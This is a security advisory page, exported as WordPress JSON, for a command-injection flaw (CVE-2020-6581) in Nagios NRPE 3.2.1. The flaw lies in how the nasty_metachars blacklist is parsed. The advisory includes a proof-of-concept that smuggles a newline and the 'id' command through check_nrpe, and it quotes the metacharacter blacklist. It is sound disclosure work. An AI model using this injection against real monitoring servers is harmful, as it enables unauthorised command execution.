{"id":16659,"date":"2021-07-08T11:51:22","date_gmt":"2021-07-08T09:51:22","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2020-0002\/"},"modified":"2021-07-19T14:14:19","modified_gmt":"2021-07-19T12:14:19","slug":"usd-2020-0002","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2020-0002\/","title":{"rendered":"usd-2020-0002"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2020-0002 (CVE-2020-6581) | Nagios NRPE v.3.2.1<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2020-0002<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2020-6581<\/span><br \/><strong>Affected Product<\/strong><span>: Nagios NRPE<\/span><br \/><strong>Affected Version<\/strong><span>: v.3.2.1<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Insufficient Filtering of Configuration file<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"https:\/\/www.nagios.org\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.nagios.org\/<\/a><\/span><br \/><strong>Vendor Status<\/strong><span>: Fixed in v.4.0.0 (not verified)<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>Insufficient Filtering and incorrect parsing of the configuration file may lead to command injection.<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Prerequisites<\/h3>\n<p>NRPE has to be compiled with command line parameter support. Additionally, dont_blame_nrpe option inside the NRPE configuration file has to be enabled.<\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>If NRPE is compiled with command line parameter support and if the corresponding option is enabled inside of the NRPE configuration file, NRPE are allowed to contain additional parameters that are passed as command line parameters to the configured monitoring scripts. In order to prevent exploitation by shell meta characters like ;|&amp;$\u2026, NRPE implements a default blacklist of nasty meta characters:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]\/\/ file: src\/nrpe.c   line: 74<br \/>\n#define NASTY_METACHARS                   \"|`&amp;amp;&amp;gt;&amp;lt;'\\\\[]{};\\r\\n\"<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"x-text\">\n<p>The same definition of nasty meta characters can also be found in the default configuration file:<\/p>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]   \/\/ file: \/etc\/nagios\/nrpe.cfg  line: 267 - 271<br \/>\n# NASTY METACHARACTERS<br \/>\n# This option allows you to override the list of characters that cannot<br \/>\n# be passed to the NRPE daemon.<\/p>\n<p># nasty_metachars=\"|`&amp;amp;&amp;gt;&amp;lt;'\\\\[]{};\\r\\n\"<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p>Unfortunately, while parsing the configuration file, special characters like \u201a\\n\u2018 inside the <strong>nasty_metachars <\/strong>variable are interpreted literally<br \/>and loose their special meaning. E.g. \u201a\\n\u2018 will disallow the two characters \u201a\\\u2018 and \u2019n\u2018 instead of a newline.<\/p>\n<p>Attack scenario: Imagine a server administrator wants also to add a wildcard (<strong>*<\/strong>) to the blacklist of not allowed characters. Most likely, he will<br \/>just uncomment the <strong>nasty_metachar<\/strong>\u00a0option from the configuration file and add his desired character like this:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]\/\/ file: \/etc\/nagios\/nrpe.cfg   line: 267 - 271<br \/>\n# NASTY METACHARACTERS<br \/>\n# This option allows you to override the list of characters that cannot<br \/>\n# be passed to the NRPE daemon.<\/p>\n<p>nasty_metachars=\"|`&amp;amp;&amp;gt;&amp;lt;'\\\\[]{};\\r\\n*\"<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>Despite looking reasonable, the NRPE service is now again vulnerable to command injections, as shown in the following example:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]  [pentester@kali ~]$ cat \/etc\/nagios\/nrpe.cfg  | grep -E 'nasty|POC'<br \/>\nnasty_metachars=\"|`&amp;amp;&amp;gt;&amp;lt;'\\\\[]{};\\r\\n*\"<br \/>\ncommand[check_POC]=\/usr\/lib\/nagios\/plugins\/check_POC $ARG1$<br \/>\n[pentester@kali ~]$ cat \/usr\/lib\/nagios\/plugins\/check_POC<br \/>\n#!\/bin\/bash<br \/>\necho \"[+] POC finished\"<\/p>\n<p>[pentester@kali ~]$<br \/>\n[pentester@kali ~]$ \/usr\/lib\/nagios\/plugins\/check_nrpe -n -H 127.0.0.1 -c checkPOC -a \"$(echo -e \"\\nid\")\"<br \/>\n[+] POC finished<\/p>\n<p>uid=998(nagios) gid=997(nagios) groups=997(nagios)<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>While parsing the <\/span><strong>nasty_metachars<\/strong><span>\u00a0option of the configuration file, special characters should be interpreted correctly.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2020-01-06 Tobias Neitzel found this vulnerability by manual code review of Nagios NRPE<\/li>\n<li>2020-01-08 Initial Contact<\/li>\n<li>2020-01-15 Nagios NRPE v4.0.0 is released: <a href=\"https:\/\/github.com\/NagiosEnterprises\/nrpe\/releases\/tag\/nrpe-4.0.0\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/NagiosEnterprises\/nrpe\/releases\/tag\/nrpe-4.0.0<\/a><\/li>\n<li>2020-03-04 security advisory released<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was discovered by Tobias Neitzel of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2020-0002 (CVE-2020-6581) | Nagios NRPE v.3.2.1 Advisory ID: usd-2020-0002CVE Number: CVE-2020-6581Affected Product: Nagios NRPEAffected Version: v.3.2.1Vulnerability Type: Insufficient Filtering of Configuration fileSecurity Risk: MediumVendor URL: https:\/\/www.nagios.org\/Vendor Status: Fixed in v.4.0.0 (not verified) Description Insufficient Filtering and incorrect parsing of the configuration file may lead to command injection. Prerequisites NRPE has to be compiled with command [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16659","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16659","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16659"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16659\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16659"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}